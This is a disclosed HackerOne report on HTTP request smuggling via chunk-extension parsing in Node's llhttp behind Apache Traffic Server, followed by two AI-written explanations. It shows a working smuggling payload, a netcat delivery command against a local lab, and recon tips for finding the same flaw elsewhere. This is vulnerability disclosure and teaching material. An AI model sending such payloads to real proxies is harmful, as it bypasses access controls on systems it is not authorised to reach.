Skip to content
Smuggling / CRLF Disclosed report Advanced CVE-2021-22960

HTTP Request Smuggling due to ignoring chunk extensions

The llhttp parser in Node ignores chunk extensions and allows any byte, including a newline, in that area. When Node is behind an Apache Traffic Server proxy, this discrepancy allows an attacker to smuggle a second request past the proxy's access controls.

mkg Follow with astraol

Originally disclosed on HackerOne

Bounty$250 Medium View original
  • Triaged in 5 days
  • Fixed in 4 months
  • Paid in 4 months
  • Disclosed after 4 months

Summary: The llhttp parser in the http module in Node 16.3.0 ignores chunk extensions when parsing the body of chunked requests. This leads to HTTP Request Smuggling (HRS) when a Node server is put behind an Apache Traffic Server (ATS) 9.0.0 proxy.

Description: In the chunked transfer encoding format there can be a so called chunk extension after each chunk size. Example:

GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

5 ; a=b
hello
0

In the example above the chunk extension would be ; a=b. You can read more here https://datatracker.ietf.org/doc/html/rfc7230#section-4.1.1 and here https://www.rfc-editor.org/errata/eid4667 .

llhttp doesn't try to parse the chunk extension properly, but simply ignores every byte until it reaches a \r (source: https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L736-L739). By following the ABNF of chunk extensions one can see that the only allowed bytes in this area are 0x09, 0x21-0x7e and 0x80-0xff. But llhttp allows any byte. This is the bug.

Notably we can put a \n in this area. This allows us to perform HRS when combined with ATS. This is because ATS also incorrectly parses the chunked extension. ATS looks for the first \n character and doesn't verify whether it was preceded by a \r. We arrive at the following attack:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

2 \nxx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

By sending the data above when ATS is a proxy in front of Node, ATS will see one request to / and Node will see two requests, one to / and one to /admin. Note that all lines are terminated by CRLF (\r\n) and that \n should be replaced with an LF character.

Usually with HRS it is possible to smuggle a request past a proxy directly to the server and then get a response for the smuggled request back to the attacker. But due to a bug in ATS where the connection hangs after a chunked request is sent, we can in this case only send a smuggled request and not see the response. But we have full control over the headers and body of the smuggled request.

Both these bugs have been reported to ATS and have not been fixed yet.

Steps To Reproduce:

This Proof of Concept requires docker and docker-compose.

Unzip the attached poc.zip. Start the systems with sudo docker-compose up --build. Now Node can be accessed directly at http://localhost:8081 and ATS (forwarding to Node) can be accessed at http://localhost:8080

Node behaves like this:

Shell
$ curl http://localhost:8081
INDEX
$ curl http://localhost:8081/admin
ADMIN
$ curl http://localhost:8081/forbidden
FORBIDDEN

Note that when /admin is requested, then /admin was reached! is printed in the docker-compose terminal.

ATS behaves like this:

Shell
$ curl http://localhost:8080
INDEX
$ curl http://localhost:8080/admin
FORBIDDEN
$ curl http://localhost:8080/forbidden
FORBIDDEN

Note that all requests to /admin are rerouted to /forbidden by ATS. So the /admin endpoint can't be reached.

Now it's time to send the attack described above. This can be done by using the included payload.py. The attack can be sent using the following command:

Shell
python3 payload.py | nc localhost 8080

When the attack is sent, we see /admin was reached! being printed in the terminal. So we bypassed the proxy and reached /admin.

(As mentioned before, due to a bug in ATS, the response to the smuggled request can't be seen. If ATS would not have had the mentioned bug, then payload2.py could have been used to both send a request and see the response.)

Impact

If the proxy is acting as an access control system, only allowing certain requests to come through, it can be bypassed, allowing any request to be sent.

The original report as published on HackerOne, by mkg. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Node.js exposes an http module whose request parsing is delegated to the llhttp parser. When a request uses Transfer-Encoding: chunked, the body is framed as a series of chunks, each introduced by a hexadecimal chunk size. The chunked format also permits a chunk extension after the size, and the parser has to decide exactly which bytes belong to that extension and where the chunk data begins.

The report concerns Node 16.3.0 and the llhttp parser it ships with. The bug is that llhttp ignores chunk extensions rather than parsing them according to the grammar, and that this laxness can be turned into HTTP Request Smuggling (HRS) when a Node server sits behind an Apache Traffic Server (ATS) 9.0.0 proxy. The affected asset is the Node.js source repository at https://github.com/nodejs/node.

Setup

The proof of concept requires Docker and docker-compose. The researcher supplied a poc.zip archive containing the environment and helper scripts. After unzipping it, the systems are started with:

Shell
sudo docker-compose up --build

Once running, Node is reachable directly at http://localhost:8081, and ATS, forwarding to Node, is reachable at http://localhost:8080. The versions named in the report are Node 16.3.0 and ATS 9.0.0.

The test application has three paths with distinct behaviour. Directly against Node:

Shell
$ curl http://localhost:8081
INDEX
$ curl http://localhost:8081/admin
ADMIN
$ curl http://localhost:8081/forbidden
FORBIDDEN

When /admin is requested, /admin was reached! is printed in the docker-compose terminal, which gives a side channel for confirming that the backend actually processed the path.

Through ATS, the same paths behave differently:

Shell
$ curl http://localhost:8080
INDEX
$ curl http://localhost:8080/admin
FORBIDDEN
$ curl http://localhost:8080/forbidden
FORBIDDEN

ATS reroutes every request to /admin to /forbidden, so the /admin endpoint cannot be reached through the proxy by normal means. That rerouting is the access control the attack is meant to bypass.

Finding it

The researcher started from the chunked transfer encoding format, in which a chunk extension may follow each chunk size. The report gives this example:

GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

5 ; a=b
hello
0

Here the chunk extension is ; a=b. The relevant grammar is in RFC 7230 section 4.1.1, with errata eid4667.

llhttp does not parse the chunk extension properly. It simply ignores every byte until it reaches a \r, as shown in the parser source at https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L736-L739. Following the ABNF of chunk extensions, the only bytes allowed in that area are 0x09, 0x21-0x7e and 0x80-0xff. llhttp accepts any byte, and that is the bug.

The consequence the researcher singled out is that a \n can be placed in this area. That matters because ATS also parses the chunked extension incorrectly: it looks for the first \n character and does not verify whether it was preceded by a \r. The two parsers therefore disagree about where the chunk data starts, which is the precondition for request smuggling.

Exploitation

Step 1: Understand the parser disagreement

ATS terminates the chunk extension at the first \n it finds, whether or not a \r precedes it. llhttp skips bytes until a \r. A payload that places an \n inside the extension area therefore makes the two systems see different request boundaries.

Step 2: Send the smuggling payload

The attack request is:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

2 \nxx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

All lines are terminated by CRLF (\r\n), and the \n shown in the chunk extension must be replaced with an actual LF character. The first chunk size is 2, followed by a space and the extension area containing the LF and xx. Because ATS stops the extension at the LF, it sees one request to /. Because llhttp keeps skipping until a \r, Node reads the framing differently and sees two requests: one to / and one to /admin.

Step 3: Deliver the payload

The attack is sent with the included payload.py script:

Shell
python3 payload.py | nc localhost 8080

When the attack is sent, /admin was reached! is printed in the terminal. The proxy was bypassed and /admin was reached on the backend.

Step 4: Note the limitation on reading the response

Normally HRS lets an attacker smuggle a request past a proxy directly to the server and then receive the response to the smuggled request. Here that is not possible: ATS has a separate bug where the connection hangs after a chunked request is sent. The attacker can therefore send a smuggled request but cannot see its response. Full control over the headers and body of the smuggled request is still available. The report notes that if ATS did not have this bug, payload2.py could have been used to both send a request and see the response.

Both bugs were reported to ATS and, at the time of writing, had not been fixed.

Root cause

The defect is in llhttp's handling of the chunk extension. Instead of validating the extension against the ABNF, which permits only 0x09, 0x21-0x7e and 0x80-0xff, the parser discards bytes until it encounters \r. Any byte is accepted, including \n. On the ATS side, the extension is terminated at the first \n without checking for a preceding \r. Two lenient parsers with different termination rules produce two different views of the same byte stream, and that difference is what allows a request to be hidden inside another.

Impact

If the proxy acts as an access control system, allowing only certain requests through, that control can be bypassed and any request can be sent to the backend. In the demonstrated environment this meant reaching /admin, which ATS otherwise reroutes to /forbidden. The impact is bounded by the ATS connection bug: the smuggled request is delivered, but its response cannot be observed by the attacker in this setup.

Fix

The report does not describe a fix in Node or llhttp, and states that the ATS bugs had not been fixed at the time of writing.

  1. Place other disallowed bytes in the chunk extension area and check whether the front end and back end disagree on chunk boundaries. A positive result is the backend logging or acting on a path that the front end never forwarded as a separate request.
  2. Try the same LF-in-extension technique against other proxy and backend combinations where the two parsers may terminate the extension differently. A positive result is a smuggled request reaching a restricted path.
  3. Vary the chunk size and the amount of data after the extension to see whether the smuggled request is parsed as a complete second request. A positive result is the backend executing the smuggled request's method and path.
  4. Test whether the response to a smuggled request can be observed when the front end does not hang after chunked requests. A positive result is the attacker receiving the backend's response to the smuggled request.

This class of bug hides wherever a front-end proxy and a back-end server both parse chunked bodies but implement the chunk extension differently. During recon, look for Node.js backends behind proxies, and note the exact versions of both, since the behaviour is version-specific. The signal is a parser that is lenient about bytes in the extension area, combined with a front end that terminates the extension on a bare LF. To show impact, demonstrate that a request the proxy would block is nevertheless processed by the backend, using an observable side effect such as a log line, as the researcher did with /admin was reached!. The report does not describe any further programme-side acceptance criteria.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A website usually sits behind a middleman. Visitors talk to the middleman, and the middleman decides whether to pass the request on to the actual server behind it. That middleman is called a proxy. It is often where access rules live: for example, "nobody may reach the admin page".

The problem in this report is that the proxy and the server behind it can read the same incoming message in two different ways. If an attacker can craft a message that the proxy reads as one harmless request but the server reads as two requests, the attacker can slip a second, hidden request past the proxy's rules. That trick is called HTTP Request Smuggling (HRS).

The two systems involved here are Node.js (the server behind) and Apache Traffic Server, or ATS (the proxy in front). Node.js is a popular way to run JavaScript on a server. ATS is a piece of software that receives web traffic and forwards it. The report shows that Node's request parser, a component called llhttp, is too relaxed about one small part of the message format, and that ATS is too relaxed about the same part in a different way. Put together, the two mistakes let a request to /admin reach the server even though the proxy is supposed to block it.

Context

The pieces involved

Node.js has a built-in http module. That module is what lets a Node program receive web requests. It does not do the low-level reading of the request itself; it hands that job to a separate parser called llhttp. A parser is a program that reads a stream of raw text and works out its structure, a bit like a person reading a form and deciding which box each word belongs in.

When a browser or another program sends a request with a body (data attached to the request), it can announce the body's length in two common ways. One is to state the total size up front. The other is called chunked transfer encoding: the body is split into pieces, and each piece starts with a line giving that piece's size in hexadecimal (base 16, so 4c means 76). The receiver reads a size, then that many bytes of data, then the next size, and so on until a piece of size 0 signals the end.

The chunked format also allows something called a chunk extension: extra text after the size, before the actual data. It is meant for optional metadata. The parser has to decide exactly which bytes belong to the extension and where the real chunk data starts. That decision is the heart of this report.

The report concerns Node 16.3.0 and the llhttp parser that ships with it. The bug is that llhttp ignores chunk extensions instead of parsing them according to the rules, and that this looseness can be turned into HTTP Request Smuggling when a Node server sits behind an ATS 9.0.0 proxy. The affected asset is the Node.js source repository at https://github.com/nodejs/node.

Setup

Building a test environment

The proof of concept needs Docker and docker-compose. Docker is a tool that runs software in isolated boxes called containers, so you can start a whole test system on your own computer without installing everything by hand. docker-compose is the part that starts several containers together and connects them.

The researcher supplied a poc.zip archive containing the environment and helper scripts. After unzipping it, the systems are started with:

Shell
sudo docker-compose up --build

Line by line:

  • sudo runs the command with administrator rights, which Docker often needs.
  • docker-compose up starts all the containers described in the project.
  • --build tells it to build the container images from their instructions first, rather than using old copies.

Once running, Node is reachable directly at http://localhost:8081, and ATS, forwarding to Node, is reachable at http://localhost:8080. localhost means "this same computer", and the number after the colon is the port, a numbered door on the machine. Two different ports let you talk to the two systems separately. The versions named in the report are Node 16.3.0 and ATS 9.0.0.

Seeing how the test app behaves

The test application has three paths with distinct behaviour. A path is the part of a web address after the site name, such as /admin. Directly against Node:

Shell
$ curl http://localhost:8081
INDEX
$ curl http://localhost:8081/admin
ADMIN
$ curl http://localhost:8081/forbidden
FORBIDDEN

Line by line:

  • curl is a command-line tool that fetches a web address and prints the reply. The $ is just the shell prompt.
  • The first command asks Node for / and gets back INDEX.
  • The second asks for /admin and gets back ADMIN, so the admin page exists and is reachable when you talk to Node directly.
  • The third asks for /forbidden and gets back FORBIDDEN.

When /admin is requested, /admin was reached! is printed in the docker-compose terminal. That terminal output is a side channel: a way of confirming what the server really did, separate from the reply sent back to the caller. It matters later because the attacker will not be able to read the reply.

Through ATS, the same paths behave differently:

Shell
$ curl http://localhost:8080
INDEX
$ curl http://localhost:8080/admin
FORBIDDEN
$ curl http://localhost:8080/forbidden
FORBIDDEN

Line by line:

  • Asking the proxy for / still returns INDEX, so normal traffic works.
  • Asking the proxy for /admin now returns FORBIDDEN. The proxy is not passing this request through; it is answering with a refusal.
  • Asking for /forbidden returns FORBIDDEN as before.

ATS reroutes every request to /admin to /forbidden, so the /admin endpoint cannot be reached through the proxy by normal means. That rerouting is the access control the attack is meant to bypass. Think of a receptionist who is told never to let anyone into room 101, and who sends anyone asking for room 101 to the waiting area instead.

Finding it

The chunk extension, and what the rules say

The researcher started from the chunked transfer encoding format, in which a chunk extension may follow each chunk size. The report gives this example:

GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

5 ; a=b
hello
0

Line by line:

  • GET / HTTP/1.1 is the request line: the method GET ("give me this"), the path /, and the HTTP version.
  • Host: localhost is a header, a labelled line of extra information. This one says which site the request is for.
  • Transfer-Encoding: chunked is the header that announces the body is sent in chunks.
  • The empty line marks the end of the headers and the start of the body.
  • 5 ; a=b is the first chunk: size 5 (five bytes), then a space, then the chunk extension ; a=b.
  • hello is the five bytes of data.
  • 0 is a chunk of size zero, which means the body is finished.

Here the chunk extension is ; a=b. The relevant grammar is in RFC 7230 section 4.1.1, with errata eid4667. An RFC is a formal document that describes how internet protocols work; errata are later corrections to it. A grammar here means the precise list of which characters are allowed where.

The bug in llhttp

llhttp does not parse the chunk extension properly. It simply ignores every byte until it reaches a \r, as shown in the parser source at https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L736-L739. \r is the carriage-return character, one half of the pair \r\n that traditionally ends a line in HTTP.

Following the grammar of chunk extensions, the only bytes allowed in that area are 0x09, 0x21-0x7e and 0x80-0xff. Those numbers are byte values written in hexadecimal. llhttp accepts any byte, and that is the bug. In everyday terms: the rules say only letters, digits and a few symbols may appear in this margin, but the parser just skips ahead to the next line break without looking at what it skipped.

Why that matters when ATS is in front

The consequence the researcher singled out is that a \n can be placed in this area. \n is the line-feed character, the other half of a line ending. That matters because ATS also parses the chunked extension incorrectly: it looks for the first \n character and does not verify whether it was preceded by a \r. The two parsers therefore disagree about where the chunk data starts, which is the precondition for request smuggling.

A useful comparison is two people reading the same handwritten note with different ideas of where a sentence ends. One stops at the first full stop; the other only stops at a full stop followed by a capital letter. Give them a note with a full stop in an odd place and they will split it into different sentences.

Exploitation

Step 1: Understand the parser disagreement

ATS terminates the chunk extension at the first \n it finds, whether or not a \r precedes it. llhttp skips bytes until a \r. A payload that places an \n inside the extension area therefore makes the two systems see different request boundaries. This step is about understanding the mismatch before sending anything: the attack only works because the two readers stop at different characters.

Step 2: Send the smuggling payload

The attack request is:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

2 \nxx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

Line by line:

  • GET / HTTP/1.1 starts the first, visible request, for the harmless path /.
  • Host: localhost:8080 says the request is addressed to the proxy's port.
  • Transfer-Encoding: chunked announces a chunked body.
  • The empty line ends the headers.
  • 2 \nxx is the first chunk: size 2, then a space, then an extension area containing an LF character and xx. This is the crafted part.
  • 4c is the next chunk size, 76 in decimal.
  • 0 ends the body as far as one of the two readers is concerned.
  • The empty line, then GET /admin HTTP/1.1, begins what the attacker wants to be a second request, for the restricted path.
  • Host: localhost:8080 and Transfer-Encoding: chunked repeat the headers for that hidden request.
  • 0 and the final empty line close it.

All lines are terminated by CRLF (\r\n), and the \n shown in the chunk extension must be replaced with an actual LF character. The first chunk size is 2, followed by a space and the extension area containing the LF and xx. Because ATS stops the extension at the LF, it sees one request to /. Because llhttp keeps skipping until a \r, Node reads the framing differently and sees two requests: one to / and one to /admin.

Step 3: Deliver the payload

The attack is sent with the included payload.py script:

Shell
python3 payload.py | nc localhost 8080

Line by line:

  • python3 payload.py runs the script, which prints the crafted bytes.
  • The | symbol is a pipe: it takes the output of the command on the left and feeds it as input to the command on the right.
  • nc is netcat, a small tool that opens a raw network connection. Here it connects to localhost on port 8080, the proxy, and sends whatever the script produced.

When the attack is sent, /admin was reached! is printed in the terminal. The proxy was bypassed and /admin was reached on the backend. This is why the side-channel line was set up earlier: it is the only proof available that the hidden request was processed.

Step 4: Note the limitation on reading the response

Normally HRS lets an attacker smuggle a request past a proxy directly to the server and then receive the response to the smuggled request. Here that is not possible: ATS has a separate bug where the connection hangs after a chunked request is sent. The attacker can therefore send a smuggled request but cannot see its response. Full control over the headers and body of the smuggled request is still available. The report notes that if ATS did not have this bug, payload2.py could have been used to both send a request and see the response.

Both bugs were reported to ATS and, at the time of writing, had not been fixed.

Root cause

The defect is in llhttp's handling of the chunk extension. Instead of validating the extension against the grammar, which permits only 0x09, 0x21-0x7e and 0x80-0xff, the parser discards bytes until it encounters \r. Any byte is accepted, including \n. On the ATS side, the extension is terminated at the first \n without checking for a preceding \r. Two lenient parsers with different termination rules produce two different views of the same byte stream, and that difference is what allows a request to be hidden inside another.

Impact

If the proxy acts as an access control system, allowing only certain requests through, that control can be bypassed and any request can be sent to the backend. In the demonstrated environment this meant reaching /admin, which ATS otherwise reroutes to /forbidden. The impact is bounded by the ATS connection bug: the smuggled request is delivered, but its response cannot be observed by the attacker in this setup.

Fix

The report does not describe a fix in Node or llhttp, and states that the ATS bugs had not been fixed at the time of writing.

  1. Place other disallowed bytes in the chunk extension area and check whether the front end and back end disagree on chunk boundaries. A positive result is the backend logging or acting on a path that the front end never forwarded as a separate request.
  2. Try the same LF-in-extension technique against other proxy and backend combinations where the two parsers may terminate the extension differently. A positive result is a smuggled request reaching a restricted path.
  3. Vary the chunk size and the amount of data after the extension to see whether the smuggled request is parsed as a complete second request. A positive result is the backend executing the smuggled request's method and path.
  4. Test whether the response to a smuggled request can be observed when the front end does not hang after chunked requests. A positive result is the attacker receiving the backend's response to the smuggled request.

This class of bug hides wherever a front-end proxy and a back-end server both parse chunked bodies but implement the chunk extension differently. During recon, look for Node.js backends behind proxies, and note the exact versions of both, since the behaviour is version-specific. The signal is a parser that is lenient about bytes in the extension area, combined with a front end that terminates the extension on a bare LF. To show impact, demonstrate that a request the proxy would block is nevertheless processed by the backend, using an observable side effect such as a log line, as the researcher did with /admin was reached!. The report does not describe any further programme-side acceptance criteria.

Glossary

  • API: a defined way for one piece of software to talk to another, like a service counter with fixed rules about what you can ask for.
  • Apache Traffic Server (ATS): a proxy server that receives web traffic and forwards it, often used to enforce access rules.
  • ABNF: a formal notation for writing grammars, that is, the exact rules for which characters may appear where.
  • Chunk extension: optional extra text after a chunk size in chunked transfer encoding, meant for metadata.
  • Chunked transfer encoding: a way of sending a body in pieces, each piece prefixed by its size in hexadecimal, ending with a zero-size piece.
  • Container: an isolated box in which software runs, managed by Docker.
  • CRLF: the two-character sequence carriage return plus line feed (\r\n) that traditionally ends a line in HTTP.
  • curl: a command-line tool for fetching web addresses.
  • Docker: a tool for running software in isolated containers.
  • docker-compose: a tool for starting and connecting several containers together.
  • Errata: published corrections to a standards document.
  • Grammar: the precise rules for which characters or structures are allowed in a format.
  • Header: a labelled line of extra information sent with an HTTP request or response.
  • Hexadecimal: base-16 number notation, using 0-9 and a-f.
  • HTTP Request Smuggling (HRS): an attack where a crafted message is read as one request by a proxy and as two by the server behind it, letting a hidden request bypass the proxy's rules.
  • llhttp: the parser Node.js uses to read incoming HTTP requests.
  • localhost: the name meaning "this same computer".
  • nc (netcat): a small tool that opens raw network connections and sends or receives bytes.
  • Node.js: a runtime that lets JavaScript run on a server.
  • Parser: a program that reads raw text and works out its structure.
  • Path: the part of a web address after the site name, such as /admin.
  • Payload: the crafted data an attacker sends.
  • Pipe (|): a shell symbol that feeds the output of one command into another.
  • Port: a numbered door on a computer through which network traffic for a particular service arrives.
  • Proof of concept (PoC): a working demonstration that a vulnerability is real.
  • Proxy: a middleman server that receives requests and forwards them to the server behind it.
  • RFC: a formal document describing how an internet protocol works.
  • Side channel: a way of learning what a system did through something other than the normal reply, such as a log line.
  • sudo: a command prefix that runs the following command with administrator rights.
  • Transfer-Encoding: the header that announces how a request body is framed, for example as chunks.
  • Vulnerability: a weakness in software that can be used to make it behave in unintended ways.

More by mkg

View all

1 more disclosed report, best first.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.